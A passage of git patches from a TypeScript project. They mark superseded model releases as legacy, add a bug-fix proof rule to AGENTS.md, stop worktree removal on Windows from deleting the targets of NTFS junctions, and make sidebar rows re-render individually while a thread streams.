Effect.gen(function* () { + const releases = [ + ["opencode", "opus-4-5", "claude-opus", "2025-11-24", "active"], + ["opencode", "opus-5-5", "claude-opus", "2026-09-22", "active"], + ["opencode", "opus-preview", "claude-opus", "2026-10-01", "deprecated"], + ["opencode", "flash", "flash", "2026-09-10", "active"], + ["opencode", "flash-free", "flash", "2026-09-10", "active"], + ["opencode", "big-pickle", undefined, "2025-10-17", "active"], + ["openrouter", "opus-4-5", "claude-opus", "2025-11-24", "active"], + ] as const; + const legacySlugs = ( + models: ReadonlyArray<{ readonly slug: string; readonly isLegacy?: boolean | undefined }>, + ) => + models + .filter((model) => model.isLegacy) + .map((model) => model.slug) + .toSorted(); + const expected = ["opencode/opus-4-5", "opencode/opus-preview"]; + + runtimeMock.state.inventory = { + providerList: { + connected: ["opencode", "openrouter"], + all: ["opencode", "openrouter"].map((providerID) => ({ + id: providerID, + name: providerID, + models: Object.fromEntries( + releases + .filter(([provider]) => provider === providerID) + .map(([, id, family, releaseDate, status]) => [ + id, + { id, name: id, family, release_date: releaseDate, status, variants: {} }, + ]), + ), + })), + default: {}, + }, + agents: [], + }; + NodeAssert.deepEqual( + legacySlugs((yield* checkProvider(makeOpenCodeSettings())).models), + expected, + ); + + runtimeMock.state.versionStdout = "opencode v2.0.18\n"; + const openCode2 = yield* checkProvider( + makeOpenCodeSettings(), + process.cwd(), + undefined, + undefined, + Effect.succeed( + releases.map(([providerID, id, family, releaseDate, status]) => ({ + providerID, + id, + name: id, + variants: [], + family, + released: Date.parse(releaseDate), + deprecated: status === "deprecated", + })), + ), + ); + NodeAssert.deepEqual(legacySlugs(openCode2.models), expected); + }), + ); + it.effect("reports a failed OpenCode 2 model list without the server's response", () => Effect.gen(function* () { runtimeMock.state.versionStdout = "opencode v2.0.18\n"; diff --git a/packages/provider-opencode/src/server/status.ts b/packages/provider-opencode/src/server/status.ts index e4c985a13b33..b20130e1528f 100644 --- a/packages/provider-opencode/src/server/status.ts +++ b/packages/provider-opencode/src/server/status.ts @@ -245,11 +245,46 @@ function openCodeCapabilitiesForModel(input: { }); } +interface OpenCodeRelease { + readonly providerID: string; + readonly family?: string | undefined; + readonly released?: number | undefined; + readonly deprecated?: boolean | undefined; +} + +/** + * OpenCode catalogs keep every release of a family, such as Claude Opus 4.5 + * through 5.5. Only the newest active release of each family within a + * sub-provider stays current; older releases and deprecated models are legacy. + */ +function markOpenCodeLegacy( + entries: ReadonlyArray<{ + readonly model: ServerProviderModel; + readonly release: OpenCodeRelease; + }>, +): Array { + const familyKey = ({ providerID, family }: OpenCodeRelease) => + family ? `${providerID}/${family}` : undefined; + const newest = new Map(); + for (const { release } of entries) { + const key = familyKey(release); + if (key === undefined || release.released === undefined || release.deprecated) continue; + newest.set(key, Math.max(newest.get(key) ?? release.released, release.released)); + } + return entries.map(({ model, release }) => { + const key = familyKey(release); + const latest = key === undefined ? undefined : newest.get(key); + const superseded = + latest !== undefined && release.released !== undefined && release.released < latest; + return release.deprecated || superseded ? { ...model, isLegacy: true } : model; + }); +} + function flattenOpenCodeModels( input: OpenCodeRuntime.OpenCodeInventory, ): ReadonlyArray { const connected = new Set(input.providerList.connected); - const models: Array = []; + const entries: Array<{ model: ServerProviderModel; release: OpenCodeRelease }> = []; for (const provider of input.providerList.all) { if (!connected.has(provider.id)) { @@ -263,21 +298,30 @@ function flattenOpenCodeModels( } const subProvider = nonEmptyTrimmed(provider.name); - models.push({ - slug: `${provider.id}/${model.id}`, - name, - ...(subProvider ? { subProvider } : {}), - isCustom: false, - capabilities: openCodeCapabilitiesForModel({ + const released = Date.parse(model.release_date); + entries.push({ + model: { + slug: `${provider.id}/${model.id}`, + name, + ...(subProvider ? { subProvider } : {}), + isCustom: false, + capabilities: openCodeCapabilitiesForModel({ + providerID: provider.id, + model, + agents: input.agents, + }), + }, + release: { providerID: provider.id, - model, - agents: input.agents, - }), + family: model.family, + released: Number.isNaN(released) ? undefined : released, + deprecated: model.status === "deprecated", + }, }); } } - return models.toSorted((left, right) => left.name.localeCompare(right.name)); + return markOpenCodeLegacy(entries).toSorted((left, right) => left.name.localeCompare(right.name)); } function trimOptional(value: string | null | undefined): string | undefined { @@ -372,8 +416,7 @@ export const makePendingOpenCodeProvider = Effect.fn( }); }); -export interface OpenCode2Model { - readonly providerID: string; +export interface OpenCode2Model extends OpenCodeRelease { readonly id: string; readonly name: string; readonly providerName?: string; @@ -564,18 +607,21 @@ const checkOpenCode2 = Effect.fn("checkOpenCode2")(function* ( }); } const models = providerModelsFromSettings( - result.value - .map((model) => { + markOpenCodeLegacy( + result.value.map((model) => { const subProvider = subProviderLabelFor(model); return { - slug: `${model.providerID}/${model.id}`, - name: model.name, - ...(subProvider ? { subProvider } : {}), - isCustom: false, - capabilities: openCode2ModelCapabilities(model), + model: { + slug: `${model.providerID}/${model.id}`, + name: model.name, + ...(subProvider ? { subProvider } : {}), + isCustom: false, + capabilities: openCode2ModelCapabilities(model), + }, + release: model, }; - }) - .toSorted((left, right) => left.name.localeCompare(right.name)), + }), + ).toSorted((left, right) => left.name.localeCompare(right.name)), settings.customModels, DEFAULT_OPENCODE_MODEL_CAPABILITIES, ); From 9179178fdff5ac750c29ef8d6234d5e75538c124 Mon Sep 17 00:00:00 2001 From: Julius Marminge Date: Wed, 21 Oct 2026 10:45:27 -0700 Subject: [PATCH 015/130] docs(agents): proof for a bug fix depends on the bug (#23008) Co-authored-by: Claude Fable 5.1 --- AGENTS.md | 1 + 1 file changed, 1 insertion(+) diff --git a/AGENTS.md b/AGENTS.md index c8cd110dd1ef..9bcafc5cceb2 100644 --- a/AGENTS.md +++ b/AGENTS.md @@ -105,6 +105,7 @@ An empty database is a bad test. Seed your worktree's `.t3` with a copy of real - Test meaningful logic or observable behavior. Do not render components to static markup to assert props or attributes, or add tests that merely assert callback wiring or mirror the implementation. - **Do not run repo-wide checks.** No `vp check`, no `vp run -r test`, no `vp run -r typecheck` unless I ask. CI owns the full suite. - Backend behavior changes ship with focused tests for that behavior. +- Proof for a bug fix depends on the bug. Logic, data, state, and protocol bugs get a failing test first (the fewest that fail on `main` for that reason, in the module's existing test file), then the fix. Purely visual bugs (spacing, colour, alignment, a layout shift) get before/after captures as their proof and no test: do not add UI tests for nitpicks, and do not ask for one in review when a capture already shows it. A server-only fix with no visible surface ships the test plus a short runtime transcript. - The server is event-sourced, and side effects run after the command commits. In tests, drain the effect worker (`OrchestrationEffectWorkerV2.drain`) or await the specific persisted event or `Deferred` that marks the milestone. Never wait on sleeps or polling. A test that needs a timeout to pass is wrong. Concretely: - `it.effect` runs on a `TestClock`; `Effect.sleep` only advances through `TestClock.adjust`. `it.live` is wall-clock and only for subprocess or network fixtures. - No `yieldNow` or `sleep` polling loops. Await the `Deferred`, take from the `Queue`, or drain the worker. From fa42465ff6484cad4301e65c40dbf68668fd05a5 Mon Sep 17 00:00:00 2001 From: Dara Adedeji <76637177+SunkenInTime@users.noreply.github.com> Date: Wed, 21 Oct 2026 14:18:45 -0400 Subject: [PATCH 016/130] fix(server): removing a worktree on Windows no longer deletes what its junctions point to (#21099) Co-authored-by: sheehanmunim <80079528+sheehanmunim@users.noreply.github.com> Co-authored-by: Claude Opus 5.5 Co-authored-by: Julius Marminge --- apps/server/src/storageCleanup.test.ts | 7 +- apps/server/src/storageCleanup.ts | 24 ++- apps/server/src/vcs/GitVcsDriverCore.test.ts | 67 ++++++++ apps/server/src/vcs/GitVcsDriverCore.ts | 44 ++--- apps/server/src/vcs/worktreeRemoval.ts | 164 +++++++++++++++++++ 5 files changed, 271 insertions(+), 35 deletions(-) create mode 100644 apps/server/src/vcs/worktreeRemoval.ts diff --git a/apps/server/src/storageCleanup.test.ts b/apps/server/src/storageCleanup.test.ts index 48529f28a9d5..33cc1874281c 100644 --- a/apps/server/src/storageCleanup.test.ts +++ b/apps/server/src/storageCleanup.test.ts @@ -276,7 +276,12 @@ const cleanupFixture = ( ...git, execute: (input) => Effect.gen(function* () { - if (editBeforeRemoval && input.args.includes("remove")) + // Before Git's own clean check: inside `git worktree remove`, or on + // Windows the same status check the removal makes before deleting. + if ( + editBeforeRemoval && + (input.args.includes("remove") || input.args.includes("--porcelain")) + ) yield* fs.writeFileString(`${worktree}/tracked.txt`, "late edit\n"); return yield* git.execute(input); }), diff --git a/apps/server/src/storageCleanup.ts b/apps/server/src/storageCleanup.ts index 4b82338b1f57..1c4eb714facd 100644 --- a/apps/server/src/storageCleanup.ts +++ b/apps/server/src/storageCleanup.ts @@ -46,6 +46,7 @@ import * as Settings from "./serverSettings.ts"; import * as TerminalManager from "./terminal/Manager.ts"; import { isFilesystemRoot, managedWorktreesDirectories } from "./worktreesDirectory.ts"; import * as GitVcsDriver from "./vcs/GitVcsDriver.ts"; +import { removeLinkedWorktree } from "./vcs/worktreeRemoval.ts"; import { withWorkspaceLease } from "./workspace/workspaceLease.ts"; import * as HostProcess from "@t3tools/shared/HostProcess"; import * as NodeSqliteClient from "@t3tools/shared/nodeSqliteClient"; @@ -1013,20 +1014,15 @@ const make = Effect.gen(function* () { const changes = yield* localChangesReason(worktreePath, settings); if (changes !== null) return keep(changes); } - yield* cleanupGit( - project.workspaceRoot, - [ - "-c", - "status.showUntrackedFiles=normal", - "worktree", - "remove", - // Git requires force for submodules; recursive checks above cannot make removal atomic. - ...(submodules.force ? ["--force"] : []), - "--", - worktreePath, - ], - "git worktree remove", - ); + yield* removeLinkedWorktree({ + operation: "StorageCleanup.cleanupGit", + cwd: project.workspaceRoot, + worktreePath, + // Git requires force for submodules; recursive checks above cannot make removal atomic. + force: submodules.force, + execute: git.execute, + run: (args) => cleanupGit(project.workspaceRoot, [...args], "git worktree remove"), + }); entries.push({ ...entry, outcome: "removed", reason: sentence(removalReason), bytes }); yield* gitManager.invalidateStatus(project.workspaceRoot); // Preserve branch and path: ProviderTurnStartService recreates the checkout diff --git a/apps/server/src/vcs/GitVcsDriverCore.test.ts b/apps/server/src/vcs/GitVcsDriverCore.test.ts index 4bda1dbd765f..c0c5f261563b 100644 --- a/apps/server/src/vcs/GitVcsDriverCore.test.ts +++ b/apps/server/src/vcs/GitVcsDriverCore.test.ts @@ -3416,6 +3416,73 @@ it.layer(layerTest)("GitVcsDriver core integration", (it) => { }), ); + it.effect("force-removes a worktree without deleting what its junctions point to", () => + Effect.gen(function* () { + const cwd = yield* makeTmpDir(); + const { initialBranch } = yield* initRepoWithCommit(cwd); + yield* writeTextFile(cwd, ".gitignore", "node_modules\n"); + yield* git(cwd, ["add", ".gitignore"]); + yield* git(cwd, ["commit", "-m", "ignore node_modules"]); + const fileSystem = yield* FileSystem.FileSystem; + const pathService = yield* Path.Path; + const outside = yield* makeTmpDir("git-worktree-link-target-"); + yield* writeTextFile(outside, "keep.txt", "keep\n"); + const worktreePath = pathService.join(yield* makeTmpDir("git-worktrees-"), "linked"); + const driver = yield* GitVcsDriver.GitVcsDriver; + yield* driver.createWorktree({ + cwd, + path: worktreePath, + refName: initialBranch, + newRefName: "feature/linked", + }); + // Junctions on Windows, the way pnpm links packages; symlinks elsewhere. + NodeFS.mkdirSync(pathService.join(worktreePath, "node_modules")); + NodeFS.symlinkSync( + outside, + pathService.join(worktreePath, "node_modules", "dep"), + "junction", + ); + NodeFS.symlinkSync(outside, pathService.join(worktreePath, "shared"), "junction"); + + yield* driver.removeWorktree({ cwd, path: worktreePath, force: true }); + + assert.deepEqual(NodeFS.readdirSync(pathService.dirname(worktreePath)), []); + assert.equal( + yield* fileSystem.readFileString(pathService.join(outside, "keep.txt")), + "keep\n", + ); + }), + ); + + it.effect("keeps the junctions of a worktree that git refuses to remove", () => + Effect.gen(function* () { + const cwd = yield* makeTmpDir(); + const { initialBranch } = yield* initRepoWithCommit(cwd); + yield* writeTextFile(cwd, ".gitignore", "node_modules\n"); + yield* git(cwd, ["add", ".gitignore"]); + yield* git(cwd, ["commit", "-m", "ignore node_modules"]); + const pathService = yield* Path.Path; + const outside = yield* makeTmpDir("git-worktree-link-target-"); + const worktreePath = pathService.join(yield* makeTmpDir("git-worktrees-"), "linked"); + const driver = yield* GitVcsDriver.GitVcsDriver; + yield* driver.createWorktree({ + cwd, + path: worktreePath, + refName: initialBranch, + newRefName: "feature/linked", + }); + const link = pathService.join(worktreePath, "node_modules"); + NodeFS.symlinkSync(outside, link, "junction"); + yield* writeTextFile(worktreePath, "notes.txt", "draft\n"); + + const result = yield* Effect.result(driver.removeWorktree({ cwd, path: worktreePath })); + + assert.isTrue(Result.isFailure(result)); + assert.isTrue(NodeFS.lstatSync(link).isSymbolicLink()); + assert.deepEqual(NodeFS.readdirSync(pathService.dirname(worktreePath)), ["linked"]); + }), + ); + it.effect("prunes stale registrations when removing an already-gone worktree", () => Effect.gen(function* () { const cwd = yield* makeTmpDir(); diff --git a/apps/server/src/vcs/GitVcsDriverCore.ts b/apps/server/src/vcs/GitVcsDriverCore.ts index c49af2624cf7..0f3fe9a1e6b2 100644 --- a/apps/server/src/vcs/GitVcsDriverCore.ts +++ b/apps/server/src/vcs/GitVcsDriverCore.ts @@ -42,6 +42,7 @@ import { gitCommandDuration, gitCommandsTotal, withMetrics } from "../observabil import * as GitVcsDriver from "./GitVcsDriver.ts"; import { removeEmptyDirectory } from "./removeEmptyDirectory.ts"; import { explicitBareRepositoryEnv, gitConfigEnv } from "./VcsProcess.ts"; +import { removeLinkedWorktree } from "./worktreeRemoval.ts"; import { resolveWorktreesDirectory } from "../worktreesDirectory.ts"; import { parseRemoteNames, @@ -4172,25 +4173,24 @@ export const makeGitVcsDriverCore = Effect.fn("makeGitVcsDriverCore")(function* const removeWorktree: GitVcsDriver.GitVcsDriver["Service"]["removeWorktree"] = Effect.fn( "removeWorktree", )(function* (input) { - // Git also accepts a worktree's short name, which can match a different - // folder than the path resolved against `input.cwd`. Resolve it once so Git - // and the leftover cleanup below act on the same directory. + // Git also matches a worktree by its short name, which can name a different + // folder than this path. Resolving it once keeps Git, the Windows deletion + // in removeLinkedWorktree, and the leftover cleanup below on one directory. const target = path.resolve(input.cwd, input.path); - // Git refuses to remove a worktree with untracked files unless forced, but - // its check honors `status.showUntrackedFiles=no` and would delete them. - const args = ["-c", "status.showUntrackedFiles=normal", "worktree", "remove"]; - if (input.force) { - args.push("--force"); - } - args.push("--", target); - const result = yield* executeGitWithStableDiagnostics( - "GitVcsDriver.removeWorktree", - input.cwd, - args, - { - timeoutMs: WORKTREE_REMOVE_TIMEOUT_MS, - allowNonZeroExit: true, - }, + const result = yield* removeLinkedWorktree({ + operation: "GitVcsDriver.removeWorktree", + cwd: input.cwd, + worktreePath: target, + force: input.force === true, + execute, + run: (args) => + executeGitWithStableDiagnostics("GitVcsDriver.removeWorktree", input.cwd, args, { + timeoutMs: WORKTREE_REMOVE_TIMEOUT_MS, + allowNonZeroExit: true, + }).pipe(Effect.map((result) => ({ ...result, args }))), + }).pipe( + Effect.provideService(FileSystem.FileSystem, fileSystem), + Effect.provideService(Path.Path, path), ); if (result.exitCode === 0) { // Git for Windows never descends into NTFS junctions, such as pnpm's @@ -4222,7 +4222,7 @@ export const makeGitVcsDriverCore = Effect.fn("makeGitVcsDriverCore")(function* // than an error. const alreadyGone = isMissingWorktreeStderr(result.stderr) && - !(yield* fileSystem.exists(input.path).pipe(Effect.orElseSucceed(() => false))); + !(yield* fileSystem.exists(target).pipe(Effect.orElseSucceed(() => false))); if (alreadyGone) { yield* pruneWorktrees({ cwd: input.cwd }); return; @@ -4231,7 +4231,11 @@ export const makeGitVcsDriverCore = Effect.fn("makeGitVcsDriverCore")(function* `GitVcsDriver.removeWorktree: git worktree remove exited with code ${result.exitCode} for ${input.path} (stderr length ${result.stderr.length}).`, ); return yield* new GitCommandError({ - ...gitCommandContext({ operation: "GitVcsDriver.removeWorktree", cwd: input.cwd, args }), + ...gitCommandContext({ + operation: "GitVcsDriver.removeWorktree", + cwd: input.cwd, + args: result.args, + }), detail: "git worktree remove failed", ...(result.exitCode === null ? {} : { exitCode: result.exitCode }), stdoutLength: result.stdout.length, diff --git a/apps/server/src/vcs/worktreeRemoval.ts b/apps/server/src/vcs/worktreeRemoval.ts new file mode 100644 index 000000000000..c8feb71c3d84 --- /dev/null +++ b/apps/server/src/vcs/worktreeRemoval.ts @@ -0,0 +1,164 @@ +import { GitCommandError } from "@t3tools/contracts"; +import * as HostProcess from "@t3tools/shared/HostProcess"; +import * as Effect from "effect/Effect"; +import * as FileSystem from "effect/FileSystem"; +import * as Option from "effect/Option"; +import * as Path from "effect/Path"; + +import type * as GitVcsDriver from "./GitVcsDriver.ts"; + +const INDEX_LIST_MAX_BYTES = 64 * 1024 * 1024; + +/** + * Removes the linked worktree at `worktreePath` by running `git worktree + * remove` through `run`. + * + * Git for Windows before 2.54 follows NTFS junctions while it deletes a + * worktree, and deletes what they point to, such as a shared node_modules. + * Later versions skip junctions but leave them, and the folders holding them, + * behind. On Windows, Git therefore never deletes the files: this makes the + * checks `git worktree remove` makes before deleting (builtin/worktree.c), + * deletes the folder with Node's `rm`, which unlinks junctions without + * following them, and then has Git drop the now-missing worktree's metadata. + * Git elsewhere only unlinks links, so other hosts run Git as before. + */ +export const removeLinkedWorktree = Effect.fn("WorktreeRemoval.removeLinkedWorktree")(function* < + A, + E, + R, +>(input: { + readonly operation: string; + readonly cwd: string; + readonly worktreePath: string; + readonly force: boolean; + readonly execute: GitVcsDriver.GitVcsDriver["Service"]["execute"]; + readonly run: (args: ReadonlyArray) => Effect.Effect; +}) { + const fileSystem = yield* FileSystem.FileSystem; + const path = yield* Path.Path; + const worktreePath = input.worktreePath; + const gitFile = path.join(worktreePath, ".git"); + // Git refuses to remove a worktree with untracked files unless forced, but + // its check honors `status.showUntrackedFiles=no` and would delete them. + const statusConfig = ["-c", "status.showUntrackedFiles=normal"]; + const linked = + (yield* HostProcess.isWindows) && + (yield* fileSystem.stat(gitFile).pipe( + Effect.map((info) => info.type === "File"), + Effect.orElseSucceed(() => false), + )); + if (!linked) { + return yield* input.run([ + ...statusConfig, + "worktree", + "remove", + ...(input.force ? ["--force"] : []), + "--", + worktreePath, + ]); + } + + // Git's own refusals, worded the way it prints them. + const refuse = (message: string, cause?: unknown) => + new GitCommandError({ + operation: input.operation, + command: "git worktree remove", + cwd: input.cwd, + detail: `fatal: ${message}`, + ...(cause === undefined ? {} : { cause }), + }); + const gitOutput = (cwd: string, args: ReadonlyArray, env?: NodeJS.ProcessEnv) => + input + .execute({ + operation: input.operation, + cwd, + args, + maxOutputBytes: INDEX_LIST_MAX_BYTES, + ...(env === undefined ? {} : { env }), + }) + .pipe(Effect.map((result) => result.stdout)); + const samePath = (left: string, right: string) => + Effect.all([fileSystem.realPath(left), fileSystem.realPath(right)]).pipe( + Effect.map(([a, b]) => a.toLowerCase() === b.toLowerCase()), + Effect.orElseSucceed(() => false), + ); + + // A registered worktree of this repository: its `.git` file names an admin + // directory under the common `worktrees/`, whose `gitdir` points back. + const notAWorktree = refuse(`'${worktreePath}' is not a working tree`); + const adminDir = path.resolve( + worktreePath, + (yield* gitOutput(worktreePath, ["rev-parse", "--absolute-git-dir"]).pipe( + Effect.mapError(() => notAWorktree), + )).trim(), + ); + const commonDir = path.resolve( + input.cwd, + (yield* gitOutput(input.cwd, ["rev-parse", "--git-common-dir"])).trim(), + ); + const pointsBack = yield* fileSystem.readFileString(path.join(adminDir, "gitdir")).pipe( + Effect.flatMap((gitdir) => samePath(path.resolve(adminDir, gitdir.trim()), gitFile)), + Effect.orElseSucceed(() => false), + ); + if (!pointsBack || !(yield* samePath(path.dirname(adminDir), path.join(commonDir, "worktrees")))) + return yield* notAWorktree; + // Git counts the file's existence as a lock. T3 passes at most one + // `--force`, which never removes a locked worktree. Anything but a + // confirmed absence refuses. + const lockFile = path.join(adminDir, "locked"); + const locked = yield* fileSystem.stat(lockFile).pipe( + Effect.as(true), + Effect.catch((error) => + error.reason._tag === "NotFound" + ? Effect.succeed(false) + : Effect.fail(refuse(`cannot inspect the lock of '${worktreePath}'`, error)), + ), + ); + if (locked) { + const reason = (yield* fileSystem.readFileString(lockFile).pipe(Effect.option)).pipe( + Option.map((text) => text.trim()), + Option.getOrElse(() => ""), + ); + return yield* refuse( + reason === "" + ? "cannot remove a locked working tree;\nuse 'remove -f -f' to override or unlock first" + : `cannot remove a locked working tree, lock reason: ${reason}\nuse 'remove -f -f' to override or unlock first`, + ); + } + if (!input.force) { + // Bound like Git's own check, so `core.worktree` can't point it elsewhere. + const boundEnv = { GIT_DIR: gitFile, GIT_WORK_TREE: worktreePath }; + const submodules = refuse("working trees containing submodules cannot be moved or removed"); + // An unreadable path counts as present, so a doubt refuses. + const present = (target: string) => + fileSystem.exists(target).pipe(Effect.orElseSucceed(() => true)); + if (yield* present(path.join(adminDir, "modules"))) return yield* submodules; + const index = yield* gitOutput(worktreePath, ["ls-files", "--stage", "-z"], boundEnv); + for (const entry of index.split("\0")) { + if (!entry.startsWith("160000 ")) continue; + const submodule = entry.slice(entry.indexOf("\t") + 1); + if (yield* present(path.join(worktreePath, submodule, ".git"))) return yield* submodules; + } + const status = yield* gitOutput( + worktreePath, + [...statusConfig, "status", "--porcelain", "--ignore-submodules=none"], + boundEnv, + ); + if (status !== "") + return yield* refuse( + `'${worktreePath}' contains modified or untracked files, use --force to delete it`, + ); + } + + // A file held open can stop the delete partway. Putting `.git` back, when + // that works, leaves a worktree that a retry can remove. + const gitFileContents = yield* fileSystem + .readFileString(gitFile) + .pipe(Effect.mapError(() => notAWorktree)); + yield* fileSystem.remove(worktreePath, { recursive: true }).pipe( + Effect.tapError(() => fileSystem.writeFileString(gitFile, gitFileContents).pipe(Effect.ignore)), + Effect.mapError((cause) => refuse(`failed to delete '${worktreePath}'`, cause)), + ); + // The folder is gone, so Git only drops the worktree's metadata. + return yield* input.run(["worktree", "remove", "--force", "--force", "--", worktreePath]); +}); From 5a0d1594e8656a382eff73f65a963506f1f35c1a Mon Sep 17 00:00:00 2001 From: Julius Marminge Date: Wed, 21 Oct 2026 11:19:57 -0700 Subject: [PATCH 017/130] perf(web): a streaming thread re-renders only its own sidebar row (#22730) Co-authored-by: Claude Opus 5.5 --- apps/web/src/components/Sidebar.tsx | 4 +-- .../components/sidebar/SidebarThreadRow.tsx | 11 ++++-- apps/web/src/hooks/useSidebarProjectGroups.ts | 6 ++-- apps/web/src/state/entities.ts | 5 +++ .../src/state/threadShell.test.ts | 35 +++++++++++++++++++ .../client-runtime/src/state/threadShell.ts | 15 ++++++++ 6 files changed, 70 insertions(+), 6 deletions(-) diff --git a/apps/web/src/components/Sidebar.tsx b/apps/web/src/components/Sidebar.tsx index 1e77512583b2..9447ce0ba661 100644 --- a/apps/web/src/components/Sidebar.tsx +++ b/apps/web/src/components/Sidebar.tsx @@ -116,7 +116,7 @@ import { useAllEnvironmentProjectSnapshotsReady, useProjects, useServerConfigs, - useThreadShells, + useQuietThreadShells, } from "../state/entities"; import { environmentPresentations } from "../state/presentation"; import { primaryServerKeybindingsAtom } from "../state/server"; @@ -356,7 +356,7 @@ function useSidebarThreads(input: { }) { const { projectScopeKey, scopedProjectKeys, serverConfigs, optimisticDrop, routeThreadRef } = input; - const threads = useThreadShells(); + const threads = useQuietThreadShells(); const routeRowThreadKey = routeThreadRef === null ? null diff --git a/apps/web/src/components/sidebar/SidebarThreadRow.tsx b/apps/web/src/components/sidebar/SidebarThreadRow.tsx index a73ca0725a92..96f1223810ec 100644 --- a/apps/web/src/components/sidebar/SidebarThreadRow.tsx +++ b/apps/web/src/components/sidebar/SidebarThreadRow.tsx @@ -96,6 +96,7 @@ import { ThreadSearchPullRequestNumber, } from "../ThreadStatusIndicators"; import { resolveSnoozePresets, type SnoozePreset } from "../Sidebar.snooze"; +import { useThreadShell } from "../../state/entities"; import { ProjectFavicon, type ProjectFaviconProject } from "../ProjectFavicon"; import { ThreadSearchMatchExcerpt } from "../ThreadSearchMatch"; import { makeWorkspaceFileDropHandlers } from "../chat/workspaceFileDrop"; @@ -463,8 +464,13 @@ export function SortableThreadRow( transition: contextDrag && isDragging ? "transform 150ms ease-out" : transition, isDragging: isDragging && !contextDrag, }; + // The sidebar arranges rows from quiet shells, which hold still while a + // thread streams; reading the live shell here re-renders only this row. + const thread = + useThreadShell(scopeThreadRef(rowProps.thread.environmentId, rowProps.thread.id)) ?? + rowProps.thread; // Keyed by variant so a card/slim switch remounts the row. - return ; + return ; } export type SidebarSweepAction = "settle" | "unsettle" | "unsnooze"; const dropVerbBadge: Record = { @@ -1508,7 +1514,8 @@ export const SidebarSearchResultRow = memo(function SidebarSearchResultRow(props onSelect: () => void; onFileDropThreads: (threadRef: ScopedThreadRef, files: File[]) => void; }) { - const { thread } = props; + const thread = + useThreadShell(scopeThreadRef(props.thread.environmentId, props.thread.id)) ?? props.thread; const accessibility = resolveSidebarRowAccessibility({ title: thread.title, statusLabel: null, diff --git a/apps/web/src/hooks/useSidebarProjectGroups.ts b/apps/web/src/hooks/useSidebarProjectGroups.ts index 5011fe3953ff..cb1b3b101326 100644 --- a/apps/web/src/hooks/useSidebarProjectGroups.ts +++ b/apps/web/src/hooks/useSidebarProjectGroups.ts @@ -2,13 +2,15 @@ import { orderItemsByPreferredIds, sortSidebarV2ProjectGroups } from "../compone import { getProjectOrderKey, selectProjectGroupingSettings } from "../logicalProject"; import { buildSidebarProjectSnapshots } from "../sidebarProjectGrouping"; import { useEnvironmentIdentities, usePrimaryEnvironmentId } from "../state/environments"; -import { useProjects, useThreadShells } from "../state/entities"; +import { useProjects, useQuietThreadShells } from "../state/entities"; import { legacyProjectCwdPreferenceKey, useUiStateStore } from "../uiStateStore"; import { useClientSettings } from "./useSettings"; export function useSidebarProjectGroups() { const projects = useProjects(); - const threads = useThreadShells(); + // Activity order lags a running thread's streaming ticks until its next + // real change; reading every tick re-rendered the whole sidebar with it. + const threads = useQuietThreadShells(); const projectOrder = useUiStateStore((store) => store.projectOrder); const sortOrder = useClientSettings((s) => s.sidebarProjectSortOrder); const groupingSettings = useClientSettings(selectProjectGroupingSettings); diff --git a/apps/web/src/state/entities.ts b/apps/web/src/state/entities.ts index 91fb46503b92..012bbb82ce25 100644 --- a/apps/web/src/state/entities.ts +++ b/apps/web/src/state/entities.ts @@ -139,6 +139,11 @@ export function useQuietThreadShell(ref: ScopedThreadRef | null): EnvironmentThr ); } +/** Every thread shell, held through streaming ticks; see quietThreadShellAtom. */ +export function useQuietThreadShells(): ReadonlyArray { + return useAtomValue(environmentThreadShells.quietThreadShellsAtom); +} + export function useChildThreadInputs(ref: ScopedThreadRef | null) { return useAtomValue( ref === null ? EMPTY_THREAD_SHELLS_ATOM : environmentThreadShells.childThreadInputsAtom(ref), diff --git a/packages/client-runtime/src/state/threadShell.test.ts b/packages/client-runtime/src/state/threadShell.test.ts index e8bae27f8f1a..2dcc3233db3a 100644 --- a/packages/client-runtime/src/state/threadShell.test.ts +++ b/packages/client-runtime/src/state/threadShell.test.ts @@ -344,4 +344,39 @@ describe("v2 thread shell lists", () => { harness.registry.dispose(); } }); + + it("keeps the quiet shell list through streaming ticks", () => { + const harness = makeHarness(); + const runId = RunId.make("streaming-list-run"); + const running: OrchestrationV2ThreadShell = { + ...v2ThreadShell, + latestRunId: runId, + activeRunId: runId, + status: "running", + itemCount: 1, + visibleItemCount: 1, + }; + const setThread = (thread: OrchestrationV2ThreadShell, sequence: number) => + harness.registry.set(harness.snapshotAtom(environmentId), { + ...v2ShellSnapshot, + snapshotSequence: sequence, + threads: [thread], + }); + setThread(running, 1); + const listAtom = harness.threads.quietThreadShellsAtom; + const dispose = harness.registry.mount(listAtom); + try { + const first = harness.registry.get(listAtom); + expect(first).toHaveLength(1); + setThread({ ...running, updatedAt: DateTime.add(v2Now, { seconds: 1 }), itemCount: 4 }, 2); + expect(harness.registry.get(listAtom)).toBe(first); + + setThread({ ...running, title: "Renamed" }, 3); + expect(harness.registry.get(listAtom)).not.toBe(first); + expect(harness.registry.get(listAtom)[0]?.title).toBe("Renamed"); + } finally { + dispose(); + harness.registry.dispose(); + } + }); }); diff --git a/packages/client-runtime/src/state/threadShell.ts b/packages/client-runtime/src/state/threadShell.ts index a462638144bf..8d61ff6ac567 100644 --- a/packages/client-runtime/src/state/threadShell.ts +++ b/packages/client-runtime/src/state/threadShell.ts @@ -388,6 +388,20 @@ export function createEnvironmentThreadShellAtoms(input: { return previousThreadShells; }).pipe(Atom.withLabel("environment-thread-shell-list")); + // Lists that arrange threads read this, so a running thread's streaming + // ticks reach only what reads its live shell. + let previousQuietThreadShells: ReadonlyArray = []; + const quietThreadShellsAtom = Atom.make((get) => { + const next: EnvironmentThreadShell[] = []; + for (const ref of get(threadRefsAtom)) { + const shell = get(quietThreadShellAtomFamily(threadKey(ref))); + if (shell !== null) next.push(shell); + } + if (arrayElementsEqual(previousQuietThreadShells, next)) return previousQuietThreadShells; + previousQuietThreadShells = next; + return next; + }).pipe(Atom.withLabel("environment-quiet-thread-shell-list")); + let previousNavigationShells: ReadonlyArray = []; const navigationThreadShellsAtom = Atom.make((get) => { const next: EnvironmentThreadShell[] = []; @@ -411,6 +425,7 @@ export function createEnvironmentThreadShellAtoms(input: { environmentThreadRefsByProjectAtom, threadRefsAtom, threadShellsAtom, + quietThreadShellsAtom, navigationThreadShellsAtom, threadShellsForProjectRefsAtom: (refs: ReadonlyArray) => threadShellsForProjectRefsAtomFamily(projectRefCollectionKey(refs)), From 0bdf33a34dc520d3ab1364cd116686b3492184bd Mon Sep 17 00:00:00 2001 From: Julius Marminge Date: Wed, 21 Oct 2026 11:21:25 -0700 Subject: [PATCH 018/130] refactor(web): the add environment dialog owns its form state (#22686) Co-authored-by: Claude Opus 5.5 --- .../settings/AddEnvironmentDialog.tsx | 649 ++++++++++++++++++ 